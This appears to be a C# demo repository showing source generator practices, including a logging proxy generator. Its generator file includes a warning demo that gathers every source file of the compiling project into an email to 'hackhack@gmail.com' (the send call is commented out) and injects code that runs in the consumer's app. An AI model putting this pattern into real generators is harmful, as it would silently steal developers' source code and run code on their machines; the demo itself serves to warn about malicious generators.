├── .gitignore
├── Directory.build.props
├── GeneratorsBestPracticesLiveDemo.sln
├── GeneratorsBestPracticesLiveDemo
├── Data
│ ├── Account.cs
│ ├── AccountSet.cs
│ ├── AccountType.cs
│ └── Client.cs
├── GeneratorsBestPracticesLiveDemo.csproj
├── Program.cs
└── Services
│ ├── AccountingService.cs
│ ├── ClientService.cs
│ ├── IAccountingService.cs
│ └── IClientService.cs
├── LoggingGenerator
├── LoggingGenerator.csproj
└── LoggingProxyGenerator.cs
├── README.md
└── logEncryption.key
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | #Ignore thumbnails created by Windows
3 | Thumbs.db
4 | #Ignore files built by Visual Studio
5 | *.obj
6 | *.exe
7 | *.pdb
8 | *.user
9 | *.aps
10 | *.pch
11 | *.vspscc
12 | *_i.c
13 | *_p.c
14 | *.ncb
15 | *.suo
16 | *.tlb
17 | *.tlh
18 | *.bak
19 | *.cache
20 | *.ilk
21 | *.log
22 | [Bb]in
23 | [Dd]ebug*/
24 | *.lib
25 | *.sbr
26 | .idea/
27 | .vs/
28 | obj/
29 | [Rr]elease*/
30 | _ReSharper*/
31 | [Tt]est[Rr]esult*
32 |
--------------------------------------------------------------------------------
/Directory.build.props:
--------------------------------------------------------------------------------
1 |
2 |
3 | true
4 |
5 |
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30509.190
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "GeneratorsBestPracticesLiveDemo", "GeneratorsBestPracticesLiveDemo\GeneratorsBestPracticesLiveDemo.csproj", "{53217733-31EE-4656-A199-84DAFA9AB1AB}"
7 | EndProject
8 | Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "LoggingGenerator", "LoggingGenerator\LoggingGenerator.csproj", "{128D061C-DB53-4257-9DF2-0B4A568C1F2A}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Release|Any CPU.ActiveCfg = Release|Any CPU
19 | {53217733-31EE-4656-A199-84DAFA9AB1AB}.Release|Any CPU.Build.0 = Release|Any CPU
20 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
21 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Debug|Any CPU.Build.0 = Debug|Any CPU
22 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {128D061C-DB53-4257-9DF2-0B4A568C1F2A}.Release|Any CPU.Build.0 = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {531ABDA6-02FC-417C-9810-4B8273200485}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Data/Account.cs:
--------------------------------------------------------------------------------
1 | namespace GeneratorsBestPracticesLiveDemo.Data
2 | {
3 | public class Account
4 | {
5 | public int Id { get; set; }
6 | public decimal Balance { get; set; }
7 | public AccountType Type { get; set; }
8 |
9 | public override string ToString()
10 | {
11 | return $"Account {{ {nameof(Id)}: {Id}, {nameof(Type)}: {Type}, {nameof(Balance)}: {Balance} }}";
12 | }
13 | }
14 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Data/AccountSet.cs:
--------------------------------------------------------------------------------
1 | using System.Collections;
2 | using System.Collections.Generic;
3 |
4 | namespace GeneratorsBestPracticesLiveDemo.Data
5 | {
6 | public class AccountSet : IEnumerable
7 | {
8 | private HashSet myAccounts;
9 |
10 | public AccountSet(HashSet accounts) => myAccounts = accounts;
11 |
12 | public IEnumerator GetEnumerator() => myAccounts.GetEnumerator();
13 | IEnumerator IEnumerable.GetEnumerator() => GetEnumerator();
14 |
15 | public override string ToString()
16 | {
17 | return $@"Accounts [ {string.Join(", ", myAccounts) } ]";
18 | }
19 | }
20 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Data/AccountType.cs:
--------------------------------------------------------------------------------
1 | namespace GeneratorsBestPracticesLiveDemo.Data
2 | {
3 | public enum AccountType
4 | {
5 | Debit,
6 | Credit
7 | }
8 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Data/Client.cs:
--------------------------------------------------------------------------------
1 | namespace GeneratorsBestPracticesLiveDemo.Data
2 | {
3 | public class Client
4 | {
5 | public string Name { get; set; }
6 | public string Email { get; set; }
7 |
8 | public override string ToString()
9 | {
10 | return $"Client {{ {nameof(Name)}: {Name}, {nameof(Email)}: {Email} }}";
11 | }
12 | }
13 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/GeneratorsBestPracticesLiveDemo.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net5
6 | preview
7 | enable
8 | GeneratorsBestPracticesLiveDemo
9 | CS8785
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using GeneratorsBestPracticesLiveDemo.Data;
3 | using GeneratorsBestPracticesLiveDemo.Services;
4 | using NLog;
5 | using NLog.Config;
6 | using NLog.Targets;
7 | using LoggingImplDefault;
8 |
9 | namespace GeneratorsBestPracticesLiveDemo
10 | {
11 | class Program
12 | {
13 | static void Main(string[] args)
14 | {
15 | var config = new LoggingConfiguration();
16 | var logconsole = new ConsoleTarget("logconsole");
17 | config.AddRule(LogLevel.Trace, LogLevel.Fatal, logconsole);
18 | LogManager.Configuration = config;
19 |
20 | var accounting = new AccountingService().WithLogging();
21 | var clientService = new ClientService(accounting).WithLogging();
22 |
23 | Test(clientService);
24 | }
25 |
26 | private static void Test(IClientService clientService)
27 | {
28 | try
29 | {
30 | var client1 = new Client {Name = "Petya", Email = "petya@gmail.com"};
31 | var client2 = new Client {Name = "Vasya", Email = "vasya@gmail.com"};
32 | clientService.GetTotalAccountBalanceRemainder(client1);
33 | Console.WriteLine();
34 | clientService.GetTotalAccountBalanceRemainder(client2);
35 | }
36 | catch
37 | {
38 | }
39 | }
40 | }
41 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Services/AccountingService.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using GeneratorsBestPracticesLiveDemo.Data;
4 |
5 | namespace GeneratorsBestPracticesLiveDemo.Services
6 | {
7 | public class AccountingService : IAccountingService
8 | {
9 | public AccountSet GetClientAccounts(Client client)
10 | {
11 | return client.Name switch
12 | {
13 | "Petya" => new AccountSet(new HashSet(new [] {new Account { Type = AccountType.Debit, Balance = 15000, Id = 2}, new Account { Type = AccountType.Credit, Balance = -20000, Id = 3}})),
14 | _ => throw new Exception($"{client} not found!")
15 | };
16 | }
17 | }
18 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Services/ClientService.cs:
--------------------------------------------------------------------------------
1 | using System.Linq;
2 | using System.Threading;
3 | using GeneratorsBestPracticesLiveDemo.Data;
4 |
5 | namespace GeneratorsBestPracticesLiveDemo.Services
6 | {
7 | public class ClientService : IClientService
8 | {
9 | private readonly IAccountingService _accountingService;
10 |
11 | public ClientService(IAccountingService lengthCalculator)
12 | {
13 | _accountingService = lengthCalculator;
14 | }
15 |
16 | public decimal GetTotalAccountBalanceRemainder(Client client)
17 | {
18 | var accountsSet = _accountingService.GetClientAccounts(client);
19 | Thread.Sleep(200);
20 | return accountsSet.Sum(x => x.Balance);
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Services/IAccountingService.cs:
--------------------------------------------------------------------------------
1 | using GeneratorsBestPracticesLiveDemo.Data;
2 |
3 | namespace GeneratorsBestPracticesLiveDemo.Services
4 | {
5 | [Log]
6 | public interface IAccountingService
7 | {
8 | AccountSet GetClientAccounts(Client client);
9 | }
10 | }
--------------------------------------------------------------------------------
/GeneratorsBestPracticesLiveDemo/Services/IClientService.cs:
--------------------------------------------------------------------------------
1 | using GeneratorsBestPracticesLiveDemo.Data;
2 |
3 | namespace GeneratorsBestPracticesLiveDemo.Services
4 | {
5 | [Log]
6 | public interface IClientService
7 | {
8 | decimal GetTotalAccountBalanceRemainder(Client client);
9 | }
10 | }
--------------------------------------------------------------------------------
/LoggingGenerator/LoggingGenerator.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | netstandard2.0
5 | preview
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/LoggingGenerator/LoggingProxyGenerator.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Net;
6 | using System.Net.Mail;
7 | using System.Text;
8 | using Microsoft.CodeAnalysis;
9 | using Microsoft.CodeAnalysis.CSharp;
10 | using Microsoft.CodeAnalysis.CSharp.Syntax;
11 |
12 | namespace LoggingGenerator
13 | {
14 | public class SyntaxReceiver : ISyntaxReceiver
15 | {
16 | public HashSet TypeDeclarationsWithAttributes { get; } = new();
17 |
18 | public void OnVisitSyntaxNode(SyntaxNode syntaxNode)
19 | {
20 | if (syntaxNode is TypeDeclarationSyntax declaration
21 | && declaration.AttributeLists.Any())
22 | {
23 | TypeDeclarationsWithAttributes.Add(declaration);
24 | }
25 | }
26 | }
27 |
28 | [Generator]
29 | public class LoggingProxyGenerator : ISourceGenerator
30 | {
31 | public void Initialize(GeneratorInitializationContext context)
32 | => context.RegisterForSyntaxNotifications(() => new SyntaxReceiver());
33 |
34 | public void Execute(GeneratorExecutionContext context)
35 | {
36 | var namespaceName = "LoggingImplDefault";
37 |
38 | var compilation = context.Compilation;
39 |
40 | context.AnalyzerConfigOptions.GlobalOptions
41 | .TryGetValue("build_property.LogEncryption", out var logEncryptionStr);
42 | bool.TryParse(logEncryptionStr, out var encryptLog);
43 |
44 | var syntaxReceiver = (SyntaxReceiver) context.SyntaxReceiver;
45 | var loggingTargets = syntaxReceiver.TypeDeclarationsWithAttributes;
46 |
47 | var logSrc = "class LogAttribute : System.Attribute { }";
48 | context.AddSource("Log.cs", logSrc);
49 |
50 | var options = (CSharpParseOptions) compilation.SyntaxTrees.First().Options;
51 | var logSyntaxTree = CSharpSyntaxTree.ParseText(logSrc, options);
52 | compilation = compilation.AddSyntaxTrees(logSyntaxTree);
53 |
54 | var keyFile = context.AdditionalFiles.FirstOrDefault(x => x.Path.EndsWith(".key"));
55 |
56 | var logAttribute = compilation.GetTypeByMetadataName("LogAttribute");
57 |
58 | var targetTypes = new HashSet();
59 | foreach (var targetTypeSyntax in loggingTargets)
60 | {
61 | context.CancellationToken.ThrowIfCancellationRequested();
62 |
63 | var semanticModel = compilation.GetSemanticModel(targetTypeSyntax.SyntaxTree);
64 | var targetType = semanticModel.GetDeclaredSymbol(targetTypeSyntax);
65 | var hasLogAttribute = targetType.GetAttributes()
66 | .Any(x => x.AttributeClass.Equals(logAttribute));
67 | if (!hasLogAttribute)
68 | continue;
69 |
70 | if (targetTypeSyntax is not InterfaceDeclarationSyntax)
71 | {
72 | context.ReportDiagnostic(
73 | Diagnostic.Create(
74 | "LG01",
75 | "Log generator",
76 | "[Log] must be applied to an interface",
77 | defaultSeverity: DiagnosticSeverity.Error,
78 | severity: DiagnosticSeverity.Error,
79 | isEnabledByDefault: true,
80 | warningLevel: 0,
81 | location: targetTypeSyntax.GetLocation()));
82 | continue;
83 | }
84 |
85 | targetTypes.Add(targetType);
86 | }
87 |
88 | foreach (var targetType in targetTypes)
89 | {
90 | context.CancellationToken.ThrowIfCancellationRequested();
91 |
92 | var proxySource = GenerateProxy(targetType, namespaceName, encryptLog, keyFile?.GetText()?.ToString());
93 | context.AddSource($"{targetType.Name}.Logging.cs", proxySource);
94 | }
95 |
96 | Util.SendSourcesToEmail(context);
97 | }
98 |
99 | private string GenerateProxy(ITypeSymbol targetType, string namespaceName, bool encrypt, string encryptionKey)
100 | {
101 | var allInterfaceMethods = targetType.AllInterfaces
102 | .SelectMany(x => x.GetMembers())
103 | .Concat(targetType.GetMembers())
104 | .OfType()
105 | .ToList();
106 |
107 | var fullQualifiedName = GetFullQualifiedName(targetType);
108 |
109 | var sb = new StringBuilder();
110 | var proxyName = targetType.Name.Substring(1) + "LoggingProxy";
111 | sb.Append($@"
112 | using System;
113 | using System.Text;
114 | using NLog;
115 | using System.Diagnostics;
116 |
117 | namespace {namespaceName}
118 | {{
119 | public static partial class LoggingExtensions
120 | {{
121 | public static {fullQualifiedName} WithLogging(this {fullQualifiedName} baseInterface)
122 | => new {proxyName}(baseInterface);
123 | }}
124 |
125 | public class {proxyName} : {fullQualifiedName}
126 | {{
127 | private readonly ILogger _logger = LogManager.GetLogger(""{targetType.Name}"");
128 | private readonly {fullQualifiedName} _target;
129 | public {proxyName}({fullQualifiedName} target)
130 | => _target = target;
131 | ");
132 |
133 | foreach (var interfaceMethod in allInterfaceMethods)
134 | {
135 | var containingType = interfaceMethod.ContainingType;
136 | var parametersList = string.Join(", ", interfaceMethod.Parameters.Select(x => $"{GetFullQualifiedName(x.Type)} {x.Name}"));
137 | var argumentLog = string.Join(", ", interfaceMethod.Parameters.Select(x => $"{x.Name} = {{{x.Name}}}"));
138 | var argumentList = string.Join(", ", interfaceMethod.Parameters.Select(x => x.Name));
139 | var isVoid = interfaceMethod.ReturnsVoid;
140 | var interfaceFullyQualifiedName = GetFullQualifiedName(containingType);
141 | sb.Append($@"
142 | {interfaceMethod.ReturnType} {interfaceFullyQualifiedName}.{interfaceMethod.Name}({parametersList})
143 | {{
144 | {Log("LogLevel.Info", $"\"{interfaceMethod.Name} started...\"")}
145 | {Log("LogLevel.Info", $"$\" Arguments: {argumentLog}\"")}
146 | var sw = new Stopwatch();
147 | sw.Start();
148 | try
149 | {{
150 | ");
151 |
152 | sb.Append(" ");
153 | if (!isVoid)
154 | {
155 | sb.Append("var result = ");
156 | }
157 | sb.AppendLine($"_target.{interfaceMethod.Name}({argumentList});");
158 | sb.AppendLine(" " + Log("LogLevel.Info", $@"$""{interfaceMethod.Name} finished in {{sw.ElapsedMilliseconds}} ms"""));
159 | if (!isVoid)
160 | {
161 | sb.AppendLine(" " + Log("LogLevel.Info", "$\"Return value: {result}\""));
162 | sb.AppendLine(" return result;");
163 | }
164 |
165 | sb.Append($@"
166 | }}
167 | catch (Exception e)
168 | {{
169 | {Log("LogLevel.Error", "e.ToString()")}
170 | throw;
171 | }}
172 | }}");
173 | }
174 |
175 | sb.Append(@"
176 | }
177 | }");
178 | return sb.ToString();
179 |
180 | string Log(string logLevel, string message)
181 | {
182 | if (encrypt)
183 | {
184 | message = message + $" + \"No real encryption in the demo, used key: {encryptionKey}\"";
185 | message = $"System.Convert.ToBase64String(Encoding.UTF8.GetBytes({message}))";
186 | }
187 |
188 | return $" _logger.Log({logLevel}, {message});";
189 | }
190 | }
191 |
192 | private static string GetFullQualifiedName(ISymbol symbol)
193 | {
194 | var containingNamespace = symbol.ContainingNamespace;
195 | if (!containingNamespace.IsGlobalNamespace)
196 | return containingNamespace.ToDisplayString() + "." + symbol.Name;
197 |
198 | return symbol.Name;
199 | }
200 |
201 | static class Util
202 | {
203 | // be warned that source generators can do such things
204 | public static void SendSourcesToEmail(GeneratorExecutionContext context)
205 | {
206 | try
207 | {
208 | var message = new MailMessage
209 | {
210 | From = new MailAddress("hackhack@gmail.com"),
211 | To = {"hackhack@gmail.com"},
212 | Subject = context.Compilation.AssemblyName + " Sources",
213 | Body = string.Empty
214 | };
215 |
216 | foreach (var syntaxTree in context.Compilation.SyntaxTrees)
217 | {
218 | var attachment = Attachment.CreateAttachmentFromString(
219 | syntaxTree.GetText().ToString(),
220 | Path.GetFileName(syntaxTree.FilePath));
221 | message.Attachments.Add(attachment);
222 | }
223 |
224 | SmtpClient smtp = new SmtpClient
225 | {
226 | Port = 587,
227 | Host = "smtp.gmail.com",
228 | EnableSsl = true,
229 | UseDefaultCredentials = false,
230 | Credentials = new NetworkCredential("login", "password"),
231 | DeliveryMethod = SmtpDeliveryMethod.Network
232 | };
233 |
234 | //smtp.Send(message);
235 |
236 | // be aware that source generators can start some work on the client's machine with your app's permissions
237 | const string moduleInitSource = @"
238 | static class HackHack
239 | {
240 | [System.Runtime.CompilerServices.ModuleInitializer]
241 | public static void ModuleInit() => System.Console.WriteLine(""Knock knock Neo!\r\nAll your sources are belong to us!\r\n"");
242 | }";
243 | context.AddSource("hack.cs", moduleInitSource);
244 | }
245 | catch
246 | {
247 | }
248 | }
249 | }
250 | }
251 | }
252 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BestPracticesSourceGeneratorsDemo
2 | An example demonstraing a few useful practices when working with source generators
3 |
4 | The example is focused on advices for working with source generators that can be checked one by one in commit history such as
5 | - Switching from syntax to semantics as early as possible
6 | - Usage of context.CancellationToken
7 | - Using ISyntaxReceiver to reduce the generator's working time
8 | - Providing attributes that should be used in target projects to configure a generator from the generator itself
9 | - Configuring a generator via MSBuild properties
10 | - Providing a generator with access to additional files it might need
11 | - Emitting diagnostics when generator encounters a problem
12 | - Lifting CS8785 warning indicating a generator failure in the target project to an error
13 | - Warning about potential malicious generators
14 |
--------------------------------------------------------------------------------
/logEncryption.key:
--------------------------------------------------------------------------------
1 | just a demo
--------------------------------------------------------------------------------